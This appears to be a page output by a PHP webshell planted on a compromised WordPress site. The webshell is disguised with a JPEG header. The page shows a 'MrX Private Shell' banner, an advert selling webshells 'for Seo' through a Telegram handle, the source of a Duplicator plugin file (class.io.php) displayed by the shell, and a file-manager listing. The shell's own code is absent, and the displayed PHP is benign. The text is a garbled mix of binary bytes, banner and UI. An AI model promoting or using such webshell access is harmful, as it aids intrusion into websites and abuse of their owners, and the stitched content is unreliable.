����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @copyright 2018 Snap Creek LLC
* Class for all IO operations
*/
// Exit if accessed directly
if (! defined('DUPLICATOR_VERSION')) exit;
class DUP_IO
{
/**
* Safely deletes a file
*
* @param string $file The full filepath to the file
*
* @return TRUE on success or if file does not exist. FALSE on failure
*/
public static function deleteFile($file)
{
if (file_exists($file)) {
if (@unlink($file) === false) {
DUP_Log::Info("Could not delete file: {$file}");
return false;
}
}
return true;
}
/**
* Removes a directory recursively except for the root of a WP Site
*
* @param string $directory The full filepath to the directory to remove
*
* @return TRUE on success FALSE on failure
*/
public static function deleteTree($directory)
{
$success = true;
if(!file_exists("{$directory}/wp-config.php")) {
$filenames = array_diff(scandir($directory), array('.', '..'));
foreach ($filenames as $filename) {
if (is_dir("$directory/$filename")) {
$success = self::deleteTree("$directory/$filename");
} else {
$success = @unlink("$directory/$filename");
}
if ($success === false) {
break;
}
}
} else {
return false;
}
return $success && @rmdir($directory);
}
/**
* Safely copies a file to a directory
*
* @param string $source_file The full filepath to the file to copy
* @param string $dest_dir The full path to the destination directory were the file will be copied
* @param string $delete_first Delete file before copying the new one
*
* @return TRUE on success or if file does not exist. FALSE on failure
*/
public static function copyFile($source_file, $dest_dir, $delete_first = false)
{
//Create directory
if (file_exists($dest_dir) == false)
{
if (self::createDir($dest_dir, 0755, true) === false)
{
DUP_PRO_LOG::traceError("Error creating $dest_dir.");
return false;
}
}
//Remove file with same name before copy
$filename = basename($source_file);
$dest_filepath = $dest_dir . "/$filename";
if($delete_first)
{
self::deleteFile($dest_filepath);
}
return copy($source_file, $dest_filepath);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| package | Folder | 0755 |
|
|
| ui | Folder | 0755 |
|
|
| utilities | Folder | 0755 |
|
|
| class.archive.config.php | File | 864 B | 0644 |
|
| class.db.php | File | 5.84 KB | 0644 |
|
| class.io.php | File | 2.58 KB | 0644 |
|
| class.logging.php | File | 7.84 KB | 0644 |
|
| class.password.php | File | 6.42 KB | 0644 |
|
| class.server.php | File | 10.04 KB | 0644 |
|
| class.settings.php | File | 4.49 KB | 0644 |
|